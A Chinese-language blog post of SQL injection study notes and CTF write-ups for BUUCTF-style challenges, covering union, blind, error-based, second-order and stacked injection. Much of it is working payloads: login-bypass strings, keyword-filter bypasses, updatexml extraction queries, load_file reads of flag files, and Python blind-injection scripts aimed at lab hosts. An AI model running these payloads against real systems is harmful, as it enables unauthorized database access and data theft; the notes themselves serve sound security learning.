SQL

SQL

SQL:

开发用户和数据库交互系统时,没有对用户输入的字符出啊进行严格的过滤,转义等操作,导致用于可以通过构造字符串去得到数据库的内容

注入:

万能密码:

  • 当用户名和密码都输入123 or 1=1# 时,按理来说执行语句应该是是

    select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
    

    #后面的内容会被注释掉,所以实际执行语句为

    select * from users where username='123' or 1=1

    因为 or 1=1恒成立,返回为真,所以能成功

  • 用户名和密码都输入 123‘ or '1' ='1时,实际执行语句

    select * from users where username='123' or '1'='1' and password='123' or '1'='1
    

    and连接的两个or语句使前后两个判断语句恒为真,所以能成功

判断注入类型

数字型
  • and 1=1正常运行
  • and 1=2页面报错
字符型
  • and ’1‘=’1正常运行
  • and ‘1’=‘2页面报错

故,判断注入类型看的是

联合注入
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
布尔盲注
1' or ascii(substr((select group_concat(password)from users),1,1))#
时间盲注
admin' and if(ascii(substr((select group_concat(username)from users),1,1))=1,sleep(5),1)#
报错注入
updatexml(1,语句,2)
extractvalue(1,语句)

例子

?id=1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)--+

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password)from users)))--+
二次注入

在第一次往数据库里擦混如数据的时候,使用了addslashes或者get_magic_quptes_gpc队输入的字符串进行转义(转义:就是字符失去了他的特殊含义,按照其字面意思进行解释)

addslashes的特点是在过滤参数之后,会在被过滤的东西后面加个 \\不会被插入到数据库中,数据库存储的信息就是你插入的信息

数据存进去之后,在查询数据的时候,你插入的数据会被调用,因为开发者会认为存进来的数据都没问题,所以没进行严格的过滤和转义,导致了二次注入

比如 第一次插入了单引号',下一次拼凑时,就形成了二次注入

堆叠注入

可以堆一堆sql语句进行注入,这种语句不受限制

字签一个语句后面加上,后面接上一个全新的语句

mysqli_multi-query()函数:执行一个或多个对数据库的查询语句[用 分割]

//查数据库
';show databases;
//查表
';show tables;
//查列
';show columns from "1234567890";
//查数据
';select flag from "1234567890"

过滤

eg:union

大小写绕过
Union
单词混写绕过
uniunionon
空格绕过
/**/
注释符绕过
#是%23
--+是--%2B
内联注释绕过

在mysql内特有的语句放在 /*!*/

?id=1' union /*!select*/ 1,2

[极客大挑战 2019]LoveSQL

拼接 'or'1'='1

​ 'or'1'='2 有报错是字符型注入

万能密码

使用万能密码完成注入 查看是否有回显 得到用户名和密码

admin'or'1'='1&password=1

image-20240421150322209

发现有回显 接着注入

查看字段 #用%23

1order by 3#&password=1

image-20240421171253894

3回显正常 4报错 字段数为3

image-20240421171213091

也可以用 1’ union select 1,2,3%23&password=1

image-20240421171907043

image-20240421171735296

使用联合查询 插叙当前库名及版本

1‘ union select 1,database(),version()%23&password=1

image-20240421172617007

数据库 geek

查询表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

image-20240421204954606

表名 geekuser,l0ve1ysq1

查询列名 随便查哪个表都是一样的

1' union select 1,2,group_concat(colum_name)from information_scheema.column where table_name='l0ve1ysq1'%23

image-20240421205618011

得到三个字段 id,username,password

1union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1%23

image-20240421210106289

得到flag

image-20240421210154354

[极客大挑战 2019]BabySQL

使用万能密码 发现有回显

image-20240421212301036

构造 ?username=admin'&password=admin" or"1"="1 先闭合前面的 看报错 查看报错 发现 or不见了 有过滤

image-20240421212429709

测试发现过滤了 or union select by where from 等 可以利用双写绕过

image-20240421212650285

查询字段个数 为3

?username=admin&password=admin' oorrder bbyy 4%23

image-20240421213408075

查看显示位 ?username=admin&password=admin' uniunionon selselectect 1,2,3%23 发现 2,3 是我们的显示位 利用2,3来查看字段

image-20240421213842846

查库名 ?username=admin&password=admin' uniunionon selselectect 1,2,database()%23geek

查表名 为 b4bsql,geekuser

?username=admin&password=admin' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()%23

列:字段为 id,username,password

?username=admin&password=admin' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='geekuser'%23

报数据

?username=admin&password=admin' uniunionon selselectect 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) frfromom b4bsql%23

image-20240421215225391

得到flag

[极客大挑战 2019]HardSQL

万能密码 无法登录

image-20240421220142677

使用burp抓包

发现 过滤了很多关键字 包括 空格 and = 等 可以使用报错注入

image-20240421221051992

构造paylaod时 不要有空格

?usename=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1

image-20240421221741706

库名为 geek

表:H4rDsq1

?username=admin&password=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

image-20240422203003504

列:id,username,password

image-20240422203201688

数据

image-20240422203421967

字符长度受限 使用left(),right()函数

?username=admin&password=1%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23

image-20240422203721720

[GXYCTF2019]BabySQli

union select 可以用于构造数据

使用万能密码登录 name=admin'or'1'='1#&pw=1

image-20240422214754630

查看源码

image-20240422214812261

将注释base32解码 在base64解码

image-20240422214841225

得到sql语句

select * from user where username = '$name'

进行注入

测试语句 order by 1# 没翻译 猜测有过滤

用大小写绕过 并且只有三列字段

image-20240422220221768

如果传入的值不是admin 会报错 当讲admin放在第二位时 不报错 猜测第二列是username

image-20240423201324645

image-20240423201352470

image-20240423201555127

image-20240423201532907

找到源码search.php

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
	function stripslashes_deep($value)
	{
		$value = is_array($value) ?
		array_map('stripslashes_deep', $value) :
		stripslashes($value);
		return $value;
	}

	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

image-20240423201846478

image-20240423201907029

当我们使用sql语句时 参数pw会被md5值加密 然后与之前存入的password的md5值相比较 相同会输出flag

原理:首先查询一个不存在的username再联合查询我们自己构建的虚拟数据
那么结果集中仅存在我们的虚拟数据

选择密码为adc md5(abc)为900150983cd24fb0d6963f7d28e17f72

image-20240423203559716

paylaod

name=a' union select 1,'admin','900150983cd24fb0d6963f7d28e17f72'%23&pw=abc

image-20240423203902656

[CISCN2019 华北赛区 Day2 Web1

!image-20240427123839920

image-20240427123901260

判断注入

image-20240427123949087

SQL注入已检测 应该是有过滤

image-20240427124217515

过滤了相当多东西

采用布尔盲注

if((ascii(substr((select(flag)from(flag)),1,1))>1),1,0)

image-20240427170026298

[SWPU2019]Web1

尝试登陆

image-20240427143801852

image-20240427143908066

admin账户已经被注册过了

随便注册一个账号登陆

image-20240427144100481

image-20240427144459760

image-20240427144642027

image-20240427144707426

用1‘测试

image-20240427192029992

image-20240427172357295

过滤了很多 包括空格 or # --+ and

image-20240427145245820

联合查询 order无法使用 选择group by 测试列数

注释符用 ,’1数字代替(数字随意) 空格采用 /**/代替

image-20240427194530150

……

……

……

一直试到了23

image-20240427194339944

发现 只有22列

查看回显位置

image-20240427195004497

第二个字段 可操作

image-20240427200450364

表:

image-20240427201132984

有过滤 测试发现 information_schema被过滤

image-20240427201420327

information_schema.tablesmysql.innodb_table_stats代替

image-20240427202034093

image-20240427202517988

table_schema改为database_name

image-20240427202534656

表名:ads,users

因为没有列名 在仅知道表名的基础上查询数据 构造payload:
select group_concat(b)from (select 1,2,3 as b select * from users)a

image-20240427203549486

[WUSTCTF2020]颜值成绩查询1

尝试用万能密码绕过 发现不行 猜测有过滤

过滤了空格

image-20240608163121632

?stunum=1/**/order/**/by/**/3#

三个字段

测试还有没有过滤,大写绕过union和select

image-20240608163854487

image-20240608164304654

image-20240608164235786

image-20240608164452594

flag

image-20240608164730950

October 2019 Twice SQL Injection 二次注入

注册登录

image-20240615221350508

在info界面,'会被转义

判断闭合为

利用注册登录来二次注入

a' union select database()#

image-20240615222649462

image-20240615222703679

image-20240615222819334

a' union select group_concat(table_name)from information_schema.tables where database()=table_schema#

image-20240615223136698

a' union select group_concat(column_name)from information_schema.columns where table_name="flag"#

image-20240616092211176

字段

a' union select flag from flag#

image-20240616092348775

[RootersCTF2019]babyWeb

image-20240616093859763

过滤了 union,sleep ‘ “ or - benchmark

image-20240616094845238

两列字段,一列是uiqueid,猜测另一列是flag

万能密码试一下

万能密码
1 || 1=1 limit 0,1

image-20240616095519615

[极客大挑战 2019]FinalSQL

参考链接

image-20240616100436556

SQL盲注

试一下万能密码

image-20240616100605491

不行,有过滤

过滤了很多比如 (),updatexml,extractvalue,sleep

image-20240616144759176

用不了报错注入

if被过滤时,可使用 elt函数进行盲注

?id=elt(length(database())>1,6)

image-20240616151556154

贴一个脚本

库 得到库名geek

import requests

q = []
# 将数字添加到列表中
for x in range(0, 10):
    q.append(x)
# 将小写字母添加和逗号添加到列表
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
# print(q)


for i in range(1, 5):
  for s in q:
    url = "http://2094485d-c144-4a24-b1b7-0d9baa738931.node5.buuoj.cn:81/search.php?id="
    url = url + "elt(substr((select(database())),%d,1)='%s',6)" % (i, s)
    r = requests.get(url)
    if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
        print(url)
        break
        # print(url)

image-20240616152526693

flna

import requests


q = []
# 将数字添加到列表中
for x in range(0, 10):
    q.append(x)
# 将小写字母添加和逗号添加到列表
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
# print(q)


for i in range(17, 21):
  for s in q:
    url = "http://2094485d-c144-4a24-b1b7-0d9baa738931.node5.buuoj.cn:81/search.php?id="
    # elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
    url = url + "elt(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1)='%s',6)" % (i, s)
    r = requests.get(url)
    if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
        print(url)
        break
    # print(url)

image-20240616154651451

列word

 # elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
    url = url + "elt(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1)='%s',6)" % (i, s)

image-20240616161536593

字段,这里注意大小写

flag在password里面

import requests


q = []
# 将数字添加到列表中
for x in range(0, 10):
    q.append(x)
# 将小写字母添加、逗号、-、{}添加到列表
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
q.append("_")
q.append("-")
q.append("{")
q.append("}")
# print(q)


for i in range(1, 230):
  for s in q:
    url = "http://2094485d-c144-4a24-b1b7-0d9baa738931.node5.buuoj.cn:81/search.php?id="
    # elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
    url = url + "elt(substr((select(group_concat(password))from(F1naI1y)),%d,1)='%s',6)" % (i, s)
    r = requests.get(url)
    if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
        print(s, end="")
        break
    # print(url)

image-20240617190509158

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

image-20240616162614652

php://伪协议,读取源码

image-20240616163000474

index.php

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}

chage.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}

search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}

确定是sql,看到代码发现有过滤

二次注入

user_name和phone被过滤的很严格,只有address能重addslashes函数入手

addslashes函数:在预定义的字符前添加反斜杠的字符串

image-20240616200039509

image-20240616201300603

使用address的旧字段,,所以是二次注入

第一次输入地址,在更新地址时,旧地址会被保留下来,所以当我们在第一次修改地址时输入sql语句,在第二次更新时随意输,第一次输入的sql语句会被触发,形成二次注入

提交payload,库

1',user_name=(select updatexml(1,concat(0x7e,(select database()),0x7e),1))#

image-20240617204828480

1',user_name=(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema =database()),0x7e),1))#

image-20240617210807014

1',user_name=(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name ='user'),0x7e),1))#

image-20240617210912608

读取了很久 发现读取列没有用

要读取文件flag.txt文件

构造报错注入payload,因为有长度限制分两次注入

字段:

SQL注入中load_file函数:读取配置文件

1',user_name=(select updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1))#
1',user_name=(select updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1))#

image-20240618172821443

image-20240619215144101

[RCTF2015]EasySQL

登录注册猜测是二次注入

随便注册一个 显示无效的字符串

image-20240620143136206

有过滤

发现username和Email有过滤,过滤了 @,and,ascii,substr,空格,sleep,<,floor,order等

登录发现有个改密码("闭合)

image-20240620164531672

image-20240620164551788

库名;web_sqli~

表:article,flag,users

image-20240620165033812

image-20240620165059879

列:flag

image-20240620165432773

image-20240620165410102

字段:

image-20240620165551298

image-20240620165606891

...

换张表 ’users‘

image-20240620170039850

image-20240620170059280

'~name,pwd,email,real_flag_1s_her',因为长度限制,列名没有完全显示出来

regexp('^?')查找

regexp('^r')匹配开头是r的字段

payload

192"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#

image-20240620171551589

得到完整的列名

image-20240620171604532

字段(采用查找 f开头的字符的方法)

payload

185"&&updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#

image-20240620172849696

image-20240620172904854

因为有过滤,采用逆向输出

payload

188"&&updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#

image-20240620173334256

image-20240620173349663

逆序脚本
str='}a5f189152f32-8b88-38c4-a181-b6'
srt=str[::-1]
print(str)

image-20240620173611178

拼接得到完整的flag

[SUCTF 2019]EasySQL

查询界面

发现 ",&,&&,if,and,or,union sleep,updatexml,extractvalue,order,information_schemawhere,from,regexp

image-20240620191547908

还有一部分是以数组的形式返回的

image-20240620191649669

本题用堆叠注入

查看库

1;show databases;#

image-20240620203616311

1;show tables;#

image-20240620203719201

查看表的内容

1;select * from Flag;#

输入1有回显,输入0没回显

判断源码里面有||

select $post['query']||flag from Flag

解法一:

看了很多wp没太看懂

*,1

image-20240620204613040

源码

$sql = "select ".$post['query']."||flag from Flag";

查询表里所有内容

说是用1将||中和掉了,使其语句变成了 select *,1 || flag from Flag

不是,1和||有啥关系啊 为啥他俩能中和掉???

解法二:

使用 set sql_mode=PIPES_AS_CONCAT;的作用是将 ||的功能从运算符or改为字符串拼接

payload

1;set sql_mode=PIPES_AS_CONCAT;select 1

修改后的 || 就相当于是将 select 1select flag from Flag的结果拼接在一起

image-20240620213013901

posted @   Yolololololo  阅读(14)  评论(0编辑  收藏  举报
(评论功能已被禁用)
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
点击右上角即可分享
微信分享提示